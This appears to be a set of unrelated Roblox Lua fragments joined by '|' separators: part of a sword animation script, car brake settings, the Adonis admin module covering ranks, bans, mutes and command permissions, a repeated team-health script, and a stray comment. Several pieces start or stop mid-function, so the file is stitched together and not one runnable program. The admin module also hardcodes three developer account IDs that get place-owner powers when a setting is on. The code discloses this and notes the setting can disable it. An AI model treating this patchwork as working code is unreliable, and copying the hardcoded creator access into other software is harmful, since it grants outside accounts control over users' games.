Animations['SlashAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'SlashAnim2'))
Animations['ThrustAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'ThrustAnim2'))
Animations['UnequipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'UnequipAnim2'))
end
PlayAnimation('EquipAnim')
PlayAnimation('IdleAnim')
end
function OnUnequipped()
for animName, _ in pairs(Animations) do
StopAnimation(animName)
end
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
WaitForChild(Tool, 'PlaySlash').Changed:connect(
function (value)
--if value then
PlayAnimation('SlashAnim')
--else
-- StopAnimation('SlashAnim')
--end
end)
WaitForChild(Tool, 'PlayThrust').Changed:connect(
function (value)
--if value then
PlayAnimation('ThrustAnim')
--else
-- StopAnimation('ThrustAnim')
--end
end)
WaitForChild(Tool, 'PlayOverhead').Changed:connect(
function (value)
--if value then
PlayAnimation('OverheadAnim')
--else
-- StopAnimation('OverheadAnim')
--end
end)
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 400 -- Front brake force
Tune.RBrakeForce = 500 -- Rear brake force
Tune.PBrakeForce = 4000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--// Admin
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings, Commands
local AddLog, TrackTask, Defaults
local CreatorId = game.CreatorType == Enum.CreatorType.User and game.CreatorId
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
Commands = server.Commands;
Defaults = server.Defaults
TrackTask = service.TrackTask
AddLog = Logs.AddLog;
if not CreatorId then
TrackTask("Thread: GetGroupCreatorId", function()
local success, creator = pcall(service.GroupService.GetGroupInfoAsync, service.GroupService, game.CreatorId)
if success and type(creator) == "table" then
CreatorId = creator.Owner.Id
end
end)
end
TrackTask("Thread: ChatServiceHandler", function()
--// ChatService mute handler (credit to Coasterteam)
local chatService = Functions.GetChatService()
if chatService then
chatService:RegisterProcessCommandsFunction("ADONIS_CMD", function(speakerName, message)
local speaker = chatService:GetSpeaker(speakerName)
local speakerPlayer = speaker and speaker:GetPlayer()
if not speakerPlayer then
return false
end
if Admin.DoHideChatCmd(speakerPlayer, message) then
return true
end
return false
end)
chatService:RegisterProcessCommandsFunction("ADONIS_MUTE_SERVER", function(speakerName, _, channelName)
local slowCache = Admin.SlowCache
local speaker = chatService:GetSpeaker(speakerName)
local speakerPlayer = speaker and speaker:GetPlayer()
if not speakerPlayer then
return false
end
if speakerPlayer and Admin.IsMuted(speakerPlayer) then
speaker:SendSystemMessage("[Adonis] :: You are muted!", channelName)
return true
elseif speakerPlayer and Admin.SlowMode and not Admin.CheckAdmin(speakerPlayer) and slowCache[speakerPlayer] and os.time() - slowCache[speakerPlayer] < Admin.SlowMode then
speaker:SendSystemMessage(string.format("[Adonis] :: Slow mode enabled! (%g second(s) remaining)", Admin.SlowMode - (os.time() - slowCache[speakerPlayer])), channelName)
return true
end
if Admin.SlowMode then
slowCache[speakerPlayer] = os.time()
end
return false
end)
AddLog("Script", "ChatService Handler Loaded")
else
warn("Place is missing ChatService; Vanilla Roblox chat related features may not work")
AddLog("Script", "ChatService Handler Not Found")
end
end)
--// Make sure the default ranks are always present for compatability with existing commands
local Ranks = Settings.Ranks
for rank, data in pairs(Defaults.Settings.Ranks) do
if not Ranks[rank] then
Ranks[rank] = data
end
end
--// Old settings/plugins backwards compatibility
for _, rank in ipairs({"Owners", "HeadAdmins", "Admins", "Moderators", "Creators"}) do
if Settings[rank] then
Settings.Ranks[if rank == "Owners" then "HeadAdmins" else rank].Users = Settings[rank]
end
end
if Settings.CustomRanks then
local Ranks = Settings.Ranks
for name, users in pairs(Settings.CustomRanks) do
if not Ranks[name] then
Ranks[name] = {
Level = 1;
Users = users;
};
end
end
end
Admin.Init = nil;
AddLog("Script", "Admin Module Initialized")
end;
local function RunAfterPlugins(data)
--// Backup Map
if Settings.AutoBackup then
TrackTask("Thread: Initial Map Backup", Admin.RunCommand, Settings.Prefix.."backupmap")
end
--// Run OnStartup Commands
for i,v in pairs(Settings.OnStartup) do
warn("Running startup command ".. tostring(v))
TrackTask("Thread: Startup_Cmd: ".. tostring(v), Admin.RunCommand, v)
AddLog("Script", {
Text = "Startup: Executed "..tostring(v);
Desc = "Executed startup command; "..tostring(v);
})
end
--// Check if Shutdownlogs is set and if not then set it
if Core.DataStore and not Core.GetData("ShutdownLogs") then
Core.SetData("ShutdownLogs", {})
end
Admin.RunAfterPlugins = nil;
AddLog("Script", "Admin Module RunAfterPlugins Finished")
end
service.MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, id, purchased)
if Variables and player.Parent and id == 1348327 and purchased then
Variables.CachedDonors[tostring(player.UserId)] = os.time()
end
end)
local function stripArgPlaceholders(alias)
return service.Trim(string.gsub(alias, "<%S+>", ""))
end
local function FormatAliasArgs(alias, aliasCmd, msg)
local uniqueArgs = {}
local argTab = {}
local numArgs = 0
--// First try to extract args info from the alias
for arg in string.gmatch(alias, "<(%S+)>") do
if arg ~= "" and arg ~= " " then
local arg = "<".. arg ..">"
if not uniqueArgs[arg] then
numArgs += 1
uniqueArgs[arg] = true
table.insert(argTab, arg)
end
end
end
--// If no args in alias string, check the command string instead and try to guess args based on order of appearance
if numArgs == 0 then
for arg in string.gmatch(aliasCmd, "<(%S+)>") do
if arg ~= "" and arg ~= " " then
local arg = "<".. arg ..">"
if not uniqueArgs[arg] then --// Get only unique placeholder args, repeats will be matched to the same arg pos
numArgs += 1
uniqueArgs[arg] = true --// :cmd <arg1> <arg2>
table.insert(argTab, arg)
end
end
end
end
local suppliedArgs = Admin.GetArgs(msg, numArgs) -- User supplied args (when running :alias arg)
local out = aliasCmd
local EscapeSpecialCharacters = service.EscapeSpecialCharacters
for i,argType in pairs(argTab) do
local replaceWith = suppliedArgs[i]
if replaceWith then
out = string.gsub(out, EscapeSpecialCharacters(argType), replaceWith)
end
end
return out
end
server.Admin = {
Init = Init;
RunAfterPlugins = RunAfterPlugins;
SpecialLevels = {};
TempAdmins = {};
PrefixCache = {};
CommandCache = {};
SlowCache = {};
UserIdCache = {};
GroupsCache = {};
BlankPrefix = false;
--// How long admin levels will be cached (unless forcibly updated via something like :admin user)
AdminLevelCacheTimeout = 30;
DoHideChatCmd = function(p: Player, message: string, data: {[string]: any}?)
local pData = data or Core.GetPlayer(p)
if pData.Client.HideChatCommands then
if Variables.BlankPrefix and
(string.sub(message,1,1) ~= Settings.Prefix or string.sub(message,1,1) ~= Settings.PlayerPrefix) then
local isCMD = Admin.GetCommand(message)
if isCMD then
return true
else
return false
end
elseif (string.sub(message,1,1) == Settings.Prefix or string.sub(message,1,1) == Settings.PlayerPrefix)
and string.sub(message,2,2) ~= string.sub(message,1,1) then
return true;
end
end
end;
GetPlayerGroups = function(p: Player)
if not p or p.Parent ~= service.Players then
return
end
local key = tostring(p.UserId)
local cache = Admin.GroupsCache[key]
if cache then
return cache
else
local timestamp = os.time()
local success, groups = pcall(service.GroupService.GetGroupsAsync, service.GroupService, p.UserId)
if success then
local mapped = {}
for _, group in ipairs(groups) do
table.insert(mapped, {
Id = group.Id;
Name = group.Name;
Rank = group.Rank;
Role = group.Role;
})
end
local result = {
CreatedAt = timestamp;
Groups = mapped;
}
Admin.GroupsCache[key] = result
task.delay(10 + (math.random() * 60), function()
local cache = Admin.GroupsCache[key]
if cache and timestamp == cache.CreatedAt then
Admin.GroupsCache[key] = nil
end
end)
return result
end
end
end;
GetPlayerGroup = function(p: Player, group: number | string)
local groups = Admin.GetPlayerGroups(p)
local isId = type(group) == "number"
if groups and groups.Groups then
for _, g in ipairs(groups.Groups) do
if (isId and g.Id == group) or (not isId and g.Name == group) then
return g
end
end
end
end;
IsMuted = function(player: Player)
local DoCheck = Admin.DoCheck
for _, v in pairs(Settings.Muted) do
if DoCheck(player, v) then
return true
end
end
for _, v in pairs(HTTP.Trello.Mutes) do
if DoCheck(player, v) then
return true
end
end
if HTTP.WebPanel.Mutes then
for _, v in pairs(HTTP.WebPanel.Mutes) do
if DoCheck(player, v) then
return true
end
end
end
end;
DoCheck = function(p: string | number | Player, check: string | number | {[string]: any}, banCheck: boolean?)
local pType = type(p)
local cType = type(check)
local lower = string.lower
local match = string.match
local sub = string.sub
if pType == "string" and cType == "string" then
if p == check or sub(lower(check), 1, #tostring(p)) == lower(p) then
return true
end
elseif pType == "number" and (cType == "number" or tonumber(check)) then
if p == tonumber(check) then
return true
end
elseif cType == "number" then
if p.UserId == check then
return true
end
elseif cType == "string" and pType == "userdata" and p:IsA("Player") then
local isGood = p and p.Parent == service.Players
if isGood and match(check, "^Group:(.*):(.*)") then
local sGroup, sRank = match(check, "^Group:(.*):(.*)")
local group, rank = tonumber(sGroup), tonumber(sRank)
if group and rank then
local pGroup = Admin.GetPlayerGroup(p, group)
if pGroup then
local pRank = pGroup.Rank
if pRank == rank or (rank < 0 and pRank >= math.abs(rank)) then
return true
end
end
end
elseif isGood and sub(check, 1, 6) == "Group:" then --check:match("^Group:(.*)") then
local group = tonumber(match(check, "^Group:(.*)"))
if group then
local pGroup = Admin.GetPlayerGroup(p, group)
if pGroup then
return true
end
end
elseif isGood and sub(check, 1, 5) == "Item:" then --check:match("^Item:(.*)") then
local item = tonumber(match(check, "^Item:(.*)"))
if item then
if service.MarketPlace:PlayerOwnsAsset(p, item) then
return true
end
end
elseif p and sub(check, 1, 9) == "GamePass:" then --check:match("^GamePass:(.*)") then
local item = tonumber(match(check, "^GamePass:(.*)"))
if item then
if service.MarketPlace:UserOwnsGamePassAsync(p.UserId, item) then
return true
end
end
elseif match(check, "^(.*):(.*)") then
local player, sUserid = match(check, "^(.*):(.*)")
local userid = tonumber(sUserid)
if player and userid and p.Name == player or p.UserId == userid then
return true
end
elseif p.Name == check then
return true
elseif not banCheck and type(check) == "string" and not string.find(check, ":") then
local cache = Admin.UserIdCache[check]
if cache and p.UserId == cache then
return true
elseif not cache then
local suc, userId = pcall(function() return service.Players:GetUserIdFromNameAsync(check) end)
if suc and userId then
Admin.UserIdCache[check] = userId
if p.UserId == userId then
return true
end
end
end
end
elseif cType == "table" and pType == "userdata" and p and p:IsA("Player") then
if check.Group and check.Rank then
local rank = check.Rank
local pGroup = Admin.GetPlayerGroup(p, check.Group)
if pGroup then
local pRank = pGroup.Rank
if pRank == rank or (rank < 0 and pRank >= math.abs(rank)) then
return true
end
end
end
end
end;
LevelToList = function(lvl: number)
local lvl = tonumber(lvl)
if not lvl then return end
local listName = Admin.LevelToListName(lvl)
if listName then
local list = Settings.Ranks[listName];
if list then
return list.Users, listName, list;
end
end
end;
LevelToListName = function(lvl: number)
if lvl > 999 then
return "Place Owner"
elseif lvl == 0 then
return "Players"
end
--// Check if this is a default rank and if the level matches the default (so stuff like [Trello] Admins doesn't appear in the command list)
for i,v in pairs(server.Defaults.Settings.Ranks) do
local tRank = Settings.Ranks[i];
if tRank and tRank.Level == v.Level and v.Level == lvl then
return i
end
end
for i,v in pairs(Settings.Ranks) do
if v.Level == lvl then
return i
end
end
end;
UpdateCachedLevel = function(p: Player, data: {[string]: any}?)
local data = data or Core.GetPlayer(p)
local level, rank = Admin.GetUpdatedLevel(p, data)
data.AdminLevel = level
data.AdminRank = rank
data.LastLevelUpdate = os.time()
AddLog("Script", {
Text = "Updating cached level for ".. p.Name;
Desc = "Updating the cached admin level for ".. p.Name;
Player = p;
})
return level, rank
end;
GetLevel = function(p: Player)
local data = Core.GetPlayer(p)
local level = data.AdminLevel
local rank = data.AdminRank
local lastUpdate = data.LastLevelUpdate or 0
local clients = Remote.Clients
local key = tostring(p.UserId)
local currentTime = os.time()
if (not level or not lastUpdate or currentTime - lastUpdate > Admin.AdminLevelCacheTimeout) or lastUpdate > currentTime then
local newLevel, newRank = Admin.UpdateCachedLevel(p, data)
if clients[key] and level and newLevel and type(p) == "userdata" and p:IsA("Player") then
if newLevel < level then
Functions.Hint("Your admin level has been reduced to ".. newLevel.." [".. (newRank or "Unknown") .."]", {p})
elseif newLevel > level then
Functions.Hint("Your admin level has been increased to ".. newLevel .." [".. (newRank or "Unknown") .."]", {p})
end
end
return newLevel, newRank
end
return level or 0, rank;
end;
GetUpdatedLevel = function(p: Player, data: {[string]: any}?)
local checkTable = Admin.CheckTable
local doCheck = Admin.DoCheck
for _, admin in pairs(Admin.SpecialLevels) do
if doCheck(p, admin.Player) then
return admin.Level, admin.Rank
end
end
local sortedRanks = {}
for rank, data in pairs(Settings.Ranks) do
table.insert(sortedRanks, {
Rank = rank;
Users = data.Users;
Level = data.Level;
});
end
table.sort(sortedRanks, function(t1, t2)
return t1.Level > t2.Level
end)
local highestLevel = 0
local highestRank
for _, data in pairs(sortedRanks) do
local level = data.Level
if level > highestLevel then
for _, v in ipairs(data.Users) do
if doCheck(p, v) then
highestLevel, highestRank = level, data.Rank
break
end
end
end
end
if Admin.IsPlaceOwner(p) and highestLevel < 1000 then
return 1000, "Place Owner"
end
return highestLevel, highestRank
end;
IsPlaceOwner = function(p: Player)
if type(p) == "userdata" and p:IsA("Player") then
--// These are my accounts; Lately I've been using my game dev account(698712377) more so I'm adding it so I can debug without having to sign out and back in (it's really a pain)
--// Disable CreatorPowers in settings if you don't trust me. It's not like I lose or gain anything either way. Just re-enable it BEFORE telling me there's an issue with the script so I can go to your place and test it.
if Settings.CreatorPowers then
local creatorAccounts = {1237666, 76328606, 698712377}
for _, userId in ipairs(creatorAccounts) do
if p.UserId == userId then
return true
end
end
end
if tonumber(CreatorId) and p.UserId == CreatorId then
return true
end
if p.UserId == -1 then --// To account for player emulators in multi-client Studio tests
return true
end
end
end;
CheckAdmin = function(p: Player)
return Admin.GetLevel(p) > 0
end;
SetLevel = function(p: Player, level: number | string, doSave: boolean?, rankName: string)
local current, rank = Admin.GetLevel(p)
if tonumber(level) then
if current >= 1000 then
return false
else
Admin.SpecialLevels[tostring(p.UserId)] = {
Player = p.UserId,
Level = level,
Rank = rankName
}
end
elseif level == "Reset" then
Admin.SpecialLevels[tostring(p.UserId)] = nil
end
Admin.UpdateCachedLevel(p)
end;
IsTempAdmin = function(p: Player)
local DoCheck = Admin.DoCheck
for i,v in pairs(Admin.TempAdmins) do
if DoCheck(p,v) then
return true, i
end
end
end;
RemoveAdmin = function(p: Player, temp: boolean?, override: boolean?)
local current, rank = Admin.GetLevel(p)
local listData = rank and Settings.Ranks[rank]
local listName = listData and rank
local list = listData and listData.Users
local isTemp,tempInd = Admin.IsTempAdmin(p)
if isTemp then
temp = true
table.remove(Admin.TempAdmins,tempInd)
end
if override then
temp = false
end
if type(p) == "userdata" then
Admin.SetLevel(p, 0)
end
if list then
local DoCheck = Admin.DoCheck
for ind,check in ipairs(list) do
if DoCheck(p, check) and not (type(check) == "string" and (string.match(check,"^Group:") or string.match(check,"^Item:"))) then
table.remove(list, ind)
if not temp and Settings.SaveAdmins then
TrackTask("Thread: RemoveAdmin", Core.DoSave, {
Type = "TableRemove";
Table = {"Settings", "Ranks", listName, "Users"};
Value = check;
})
end
end
end
end
Admin.UpdateCachedLevel(p)
end;
AddAdmin = function(p: Player, level: string | number, temp: boolean?)
local current, rank = Admin.GetLevel(p)
local list = rank and Settings.Ranks[rank]
local levelName, newRank, newList
if type(level) == "string" then
local newRank = Settings.Ranks[level]
levelName = newRank and level
newList = newRank and newRank.Users
level = (newRank and newRank.Level) or Admin.StringToComLevel(levelName) or level
else
local nL, nLN = Admin.LevelToList(level)
levelName = nLN
newRank = nLN
newList = nL
end
Admin.RemoveAdmin(p, temp)
Admin.SetLevel(p, level, nil, levelName)
if temp then
table.insert(Admin.TempAdmins, p)
end
if list and type(list) == "table" then
local index,value
for ind,ent in ipairs(list) do
if (type(ent)=="number" or type(ent)=="string") and (ent==p.UserId or string.lower(ent)==string.lower(p.Name) or string.lower(ent)==string.lower(p.Name..":"..p.UserId)) then
index = ind
value = ent
end
end
if index and value then
table.remove(list, index)
end
end
local value = p.Name ..":".. p.UserId
if newList then
table.insert(newList,value)
if Settings.SaveAdmins and levelName and not temp then
TrackTask("Thread: SaveAdmin", Core.DoSave, {
Type = "TableAdd";
Table = {"Settings", "Ranks", levelName, "Users"};
Value = value
})
end
end
Admin.UpdateCachedLevel(p)
end;
CheckDonor = function(p: Player)
--if not Settings.DonorPerks then return false end
local key = tostring(p.UserId)
if Variables.CachedDonors[key] then
return true
else
--if p.UserId<0 or (tonumber(p.AccountAge) and tonumber(p.AccountAge)<0) then return false end
local pGroup = Admin.GetPlayerGroup(p, 886423)
for _, pass in ipairs(Variables.DonorPass) do
if p.Parent ~= service.Players then
return false
end
local ran, ret
if type(pass) == "number" then
ran, ret = pcall(service.MarketPlace.UserOwnsGamePassAsync, service.MarketPlace, p.UserId, pass)
elseif type(pass) == "string" and tonumber(pass) then
ran, ret = pcall(service.MarketPlace.PlayerOwnsAsset, service.MarketPlace, p, tonumber(pass))
end
if (ran and ret) or (pGroup and pGroup.Rank >= 10) then --// Complimentary donor access is given to Adonis contributors & developers.
Variables.CachedDonors[key] = os.time()
return true
end
end
end
end;
CheckBan = function(p: Player)
local doCheck = Admin.DoCheck
local banCheck = Admin.DoBanCheck
for _, admin in pairs(Settings.Banned) do
if (type(admin) == "table" and ((admin.UserId and doCheck(p, admin.UserId, true)) or (admin.Name and not admin.UserId and doCheck(p, admin.Name, true)))) or doCheck(p, admin, true) then
return true, (type(admin) == "table" and admin.Reason)
end
end
for ind, ban in pairs(Core.Variables.TimeBans) do
if p.UserId == ban.UserId then
if ban.EndTime-os.time() <= 0 then
table.remove(Core.Variables.TimeBans, ind)
else
return true, "\n Reason: "..(ban.Reason or "(No reason provided.)").."\n Banned until ".. service.FormatTime(ban.EndTime, {WithWrittenDate = true})
end
end
end
for _, admin in pairs(HTTP.Trello.Bans) do
local name = type(admin) == "table" and admin.Name or admin
if doCheck(p, name) or banCheck(p, name) then
return true, (type(admin) == "table" and admin.Reason and service.Filter(admin.Reason, p, p))
end
end
if HTTP.WebPanel.Bans then
for _, admin in pairs(HTTP.WebPanel.Bans) do
if doCheck(p, admin) or banCheck(p, admin) then
return true, (type(admin) == "table" and admin.Reason)
end
end
end
end;
AddBan = function(p: Player | {[string]: any}, reason: string, doSave: boolean?)
local value = {
Name = p.Name;
UserId = p.UserId;
Reason = reason;
}
table.insert(Settings.Banned, value)--p.Name..':'..p.UserId
if doSave then
Core.DoSave({
Type = "TableAdd";
Table = "Banned";
Value = value;
})
Core.CrossServer("RemovePlayer", p.Name, Variables.BanMessage, value.Reason or "No reason provided")
end
if type(p) ~= "table" then
if not service.Players:FindFirstChild(p.Name) then
Remote.Send(p,'Function','KillClient')
else
if p then pcall(function() p:Kick(Variables.BanMessage .. " | Reason: "..(value.Reason or "No reason provided")) end) end
end
end
service.Events.PlayerBanned:Fire(p, reason, doSave)
end;
AddTimeBan = function(p : Player | {[string]: any}, duration: number, reason: string)
local value = {
Name = p.Name;
UserId = p.UserId;
EndTime = os.time() + tonumber(duration);
Reason = reason
}
table.insert(Core.Variables.TimeBans, value)
Core.DoSave({
Type = "TableAdd";
Table = {"Core", "Variables", "TimeBans"};
Value = value;
})
Core.CrossServer("RemovePlayer", p.Name, Variables.BanMessage, value.Reason or "No reason provided")
if type(p) ~= "table" then
if not service.Players:FindFirstChild(p.Name) then
Remote.Send(p,'Function','KillClient')
else
if p then pcall(function() p:Kick(Variables.BanMessage .. " | Reason: "..(value.Reason or "No reason provided")) end) end
end
end
service.Events.PlayerBanned:Fire(p, reason, true)
end,
DoBanCheck = function(name: string | number | Instance, check: string | {[string]: any})
local id = type(name) == "number" and name
if type(name) == "userdata" and name:IsA("Player") then
id = name.UserId
name = name.Name
end
if type(check) == "table" then
if type(name) == "string" and check.Name and string.lower(check.Name) == string.lower(name) then
return true
elseif id and check.UserId and check.UserId == id then
return true
end
elseif type(check) == "string" then
local cName, cId = string.match(check, "(.*):(.*)")
if not cName and cId then cName = check end
if cName then
if string.lower(cName) == string.lower(name) then
return true;
elseif id and cId and id == cId then
return true;
end
end
end
return false
end;
RemoveBan = function(name: string | number | Instance, doSave: boolean?)
local ret
for i,v in pairs(Settings.Banned) do
if Admin.DoBanCheck(name, v) then
table.remove(Settings.Banned, i)
ret = v
if doSave then
Core.DoSave({
Type = "TableRemove";
Table = "Banned";
Value = v;
})
end
end
end
return ret
end;
RemoveTimeBan = function(name : string | number | Instance)
local ret
for i,v in pairs(Core.Variables.TimeBans) do
if Admin.DoBanCheck(name, v) then
table.remove(Core.Variables.TimeBans, i)
ret = v
Core.DoSave({
Type = "TableRemove";
Table = {"Core", "Variables", "TimeBans"};
Value = v;
})
end
end
return ret
end,
RunCommand = function(coma: string, ...)
local _, com = Admin.GetCommand(coma)
if com then
local cmdArgs = com.Args or com.Arguments
local args = Admin.GetArgs(coma,#cmdArgs,...)
--local task,ran,error = service.Threads.TimeoutRunTask("SERVER_COMMAND: "..coma,com.Function,60*5,false,args)
--[[local ran, error = TrackTask("Command: ".. tostring(coma), com.Function, false, args)
if error then
--logError("SERVER","Command",error)
end]]
TrackTask("Command: ".. coma, com.Function, false, args)
end
end;
RunCommandAsPlayer = function(coma: string, plr: Player, ...)
local ind, com = Admin.GetCommand(coma)
if com then
local adminLvl = Admin.GetLevel(plr)
local cmdArgs = com.Args or com.Arguments
local args = Admin.GetArgs(coma,#cmdArgs,...)
local ran, error = TrackTask(plr.Name .. ": ".. coma, com.Function, plr, args, {
PlayerData = {
Player = plr;
Level = adminLvl;
isDonor = ((Settings.DonorCommands or com.AllowDonors) and Admin.CheckDonor(plr)) or false;
}
})
--local task,ran,error = service.Threads.TimeoutRunTask("COMMAND:"..plr.Name..": "..coma,com.Function,60*5,plr,args)
if error then
--logError(plr,"Command",error)
error = string.match(error, ":(.+)$") or "Unknown error"
Remote.MakeGui(plr, 'Output', {
Title = '';
Message = error;
Color = Color3.new(1,0,0)
})
return;
end
end
end;
RunCommandAsNonAdmin = function(coma: string, plr: Player, ...)
local ind, com = Admin.GetCommand(coma)
if com and com.AdminLevel == 0 then
local cmdArgs = com.Args or com.Arguments
local args = Admin.GetArgs(coma,#cmdArgs,...)
local _, error = TrackTask(plr.Name ..": ".. coma, com.Function, plr, args, {PlayerData = {
Player = plr;
Level = 0;
isDonor = false;
}})
if error then
error = string.match(error, ":(.+)$") or "Unknown error"
Remote.MakeGui(plr, 'Output', {
Title = "";
Message = error;
Color = Color3.new(1,0,0)
})
end
end
end;
CacheCommands = function()
local tempTable = {}
local tempPrefix = {}
for ind, data in pairs(Commands) do
if type(data) == "table" then
for _,cmd in pairs(data.Commands) do
if data.Prefix == "" then Variables.BlankPrefix = true end
tempPrefix[data.Prefix] = true
tempTable[string.lower(data.Prefix..cmd)] = ind
end
end
end
Admin.PrefixCache = tempPrefix
Admin.CommandCache = tempTable
end;
GetCommand = function(Command: string)
if Admin.PrefixCache[string.sub(Command, 1, 1)] or Variables.BlankPrefix then
local matched = if string.find(Command, Settings.SplitKey) then
string.match(Command, "^(%S+)"..Settings.SplitKey)
else string.match(Command, "^(%S+)")
if matched then
local found = Admin.CommandCache[string.lower(matched)]
if found then
local real = Commands[found]
if real then
return found,real,matched
end
end
end
end
end;
FindCommands = function(Command: string)
local prefixChar = string.sub(Command, 1, 1)
local checkPrefix = Admin.PrefixCache[prefixChar] and prefixChar
local matched
if checkPrefix then
Command = string.sub(Command, 2)
end
if string.find(Command, Settings.SplitKey) then
matched = string.match(Command, "^(%S+)"..Settings.SplitKey)
else
matched = string.match(Command, "^(%S+)")
end
if matched then
local foundCmds = {}
matched = string.lower(matched)
for ind,cmd in pairs(Commands) do
if type(cmd) == "table" and ((checkPrefix and prefixChar == cmd.Prefix) or not checkPrefix) then
for _, alias in pairs(cmd.Commands) do
if string.lower(alias) == matched then
foundCmds[ind] = cmd
break
end
end
end
end
return foundCmds
end
end;
SetPermission = function(comString: string, newLevel: number)
local cmds = Admin.FindCommands(comString)
if cmds then
for _, cmd in pairs(cmds) do
cmd.AdminLevel = newLevel
end
end
end;
FormatCommand = function(command: {[string]: any}, cmdn: number?)
local text = command.Prefix.. command.Commands[cmdn or 1]
local cmdArgs = command.Args or command.Arguments
local splitter = Settings.SplitKey
for _,arg in pairs(cmdArgs) do
text ..= splitter.."<"..arg..">"
end
return text
end;
CheckTable = function(p: Player, tab: {[any]: any})
local doCheck = Admin.DoCheck
for _,v in pairs(tab) do
if doCheck(p, v) then
return true
end
end
end;
--// Make it so you can't accidentally overwrite certain existing commands... resulting in being unable to add/edit/remove aliases (and other stuff)
CheckAliasBlacklist = function(alias: string)
local playerPrefix = Settings.PlayerPrefix;
local prefix = Settings.Prefix;
local blacklist = {
[playerPrefix.. "alias"] = true;
[playerPrefix.. "newalias"] = true;
[playerPrefix.. "removealias"] = true;
[playerPrefix.. "client"] = true;
[playerPrefix.. "userpanel"] = true;
[":adonissettings"] = true;
}
--return Admin.CommandCache[string.lower(alias)] --// Alternatively, we could make it so you can't overwrite ANY existing commands...
return blacklist[alias];
end;
GetArgs = function(msg: string, num: number, ...)
local args = Functions.Split((string.match(msg, "^.-"..Settings.SplitKey..'(.+)') or ''),Settings.SplitKey,num) or {}
for _,v in ipairs({...}) do table.insert(args, v) end
return args
end;
AliasFormat = function(aliases: {[string]: any}, msg: string)
local foundPlayerAlias = false --// Check if there's a player-defined alias first then otherwise check settings aliases
local CheckAliasBlacklist, EscapeSpecialCharacters = Admin.CheckAliasBlacklist, service.EscapeSpecialCharacters
if aliases then
for alias, cmd in pairs(aliases) do
local tAlias = stripArgPlaceholders(alias)
if not Admin.CheckAliasBlacklist(tAlias) then
local escAlias = EscapeSpecialCharacters(tAlias)
if string.match(msg, "^"..escAlias) or string.match(msg, "%s".. escAlias) then
msg = FormatAliasArgs(alias, cmd, msg)
end
end
end
end
--if not foundPlayerAlias then
for alias, cmd in pairs(Settings.Aliases) do
local tAlias = stripArgPlaceholders(alias)
if not CheckAliasBlacklist(tAlias) then
local escAlias = EscapeSpecialCharacters(tAlias)
if string.match(msg, "^"..escAlias) or string.match(msg, "%s".. escAlias) then
msg = FormatAliasArgs(alias, cmd, msg)
end
end
end
--end
return msg
end;
StringToComLevel = function(str: string | number)
local strType = type(str)
if strType == "string" and string.lower(str) == "players" then
return 0
end
if strType == "number" then
return str
end
local lvl = Settings.Ranks[str]
return (lvl and lvl.Level) or tonumber(str)
end;
CheckComLevel = function(plrAdminLevel: number, comLevel: string | number | {[any]: number})
if type(comLevel) == "string" then
comLevel = Admin.StringToComLevel(comLevel)
end
if type(comLevel) == "number" and plrAdminLevel >= comLevel then
return true;
elseif type(comLevel) == "table" then
for _,level in pairs(comLevel) do
if plrAdminLevel == level then
return true
end
end
end
end;
IsBlacklisted = function(p: Player)
local CheckTable = Admin.CheckTable
for _,list in pairs(Variables.Blacklist.Lists) do
if CheckTable(p, list) then
return true
end
end
end;
CheckPermission = function(pDat: {[string]: any}, cmd: {[string]: any})
local adminLevel = pDat.Level
local isDonor = (pDat.isDonor and (Settings.DonorCommands or cmd.AllowDonors))
local comLevel = cmd.AdminLevel
local funAllowed = Settings.FunCommands
local crossServerAllowed = Settings.CrossServerCommands
--// Creators rank will bypass any permissions set
if adminLevel >= Settings.Ranks.Creators.Level then
return true
elseif (comLevel == "Players" or comLevel == 0) and not Settings.PlayerCommands then
--// If PlayerCommands is set to false it will prevent users from using "Players" level commands
return false
elseif cmd.Fun and not funAllowed then
--// If FunCommands are disabled it will block any command Labeled "Fun"
return false
elseif cmd.IsCrossServer and not crossServerAllowed then
--// If CrossServerCommands is disabled it will block any command that is "CrossServer"
return false
elseif cmd.Donors and isDonor then
--// If a command is for "Donors" it will allow anyone with Donor to use it
return true
elseif Admin.CheckComLevel(adminLevel, comLevel) then
--// Check if user has permission to the command
return true
end
--// If none of the checks pass it will deny permissions
return false
end;
SearchCommands = function(p: Player, search: string)
local checkPerm = Admin.CheckPermission
local tab = {}
local pDat = {
Player = p;
Level = Admin.GetLevel(p);
isDonor = Admin.CheckDonor(p);
}
for index, command in pairs(Commands) do
if search == "All" or checkPerm(pDat, command) then
tab[index] = command
end
end
return tab
end;
}
end
|
--police+sec
|
game.Players.PlayerAdded:Connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
print(Player.TeamColor)
if Player.TeamColor == BrickColor.new("Smoky grey") then
Character.Humanoid.MaxHealth = 135
Character.Humanoid.Health = 135
end
end)
end)
game.Players.PlayerAdded:Connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
print(Player.TeamColor)
if Player.TeamColor == BrickColor.new("Lily white") then
Character.Humanoid.MaxHealth = 135
Character.Humanoid.Health = 135
end
end)
end)
game.Players.PlayerAdded:Connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
print(Player.TeamColor)
if Player.TeamColor == BrickColor.new("Sea green") then
Character.Humanoid.MaxHealth = 135
Character.Humanoid.Health = 135
end
end)
end)
game.Players.PlayerAdded:Connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
print(Player.TeamColor)
if Player.TeamColor == BrickColor.new("Mid gray") then
Character.Humanoid.MaxHealth = 135
Character.Humanoid.Health = 135
end
end)
end)
|
--Set target steering position based on current velocity
|
